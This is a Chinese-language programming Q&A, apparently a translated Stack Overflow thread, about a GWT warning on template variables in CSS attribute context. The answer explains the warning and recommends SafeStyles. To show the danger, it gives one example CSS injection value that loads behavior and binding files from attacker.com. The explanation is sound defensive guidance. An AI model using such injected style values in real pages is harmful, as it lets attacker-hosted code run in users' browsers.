我使用混淆的样式,例如
<ui:style>
.explanation {
text-align: center;
}
</ui:style>
...
<g:HTMLPanel>
<div class="{style.explanation}">
...
这是不好的做法吗?
当我查看HTML时看起来没问题,或者我误解了警告..
我在GWT的开发模式中收到以下警告:
Template with variable in CSS attribute context:
The template code generator cannot guarantee HTML-safety of the template
-- please inspect manually or use SafeStyles to specify arguments in a CSS attribute context
答案 0 :(得分:10)
class
不是“CSS属性上下文”,只有style
是(和<style>
);所以我怀疑这个警告来自你展示的代码(这正是如何使用的东西,所以根本不是一个糟糕的做法)。
当您有style='width: {foo}; height: {bar}'
之类的内容时会出现警告,因为无法保证(在编译时)foo
或bar
不会包含100%; behavior: url(http://attacker.com/injection.htc); -moz-binding: url(http://attacker.com/injection.xbl)
之类的内容。在这种情况下,您应该使用style='{myStyle}'
,其中myStyle
是SafeStyles
的实例。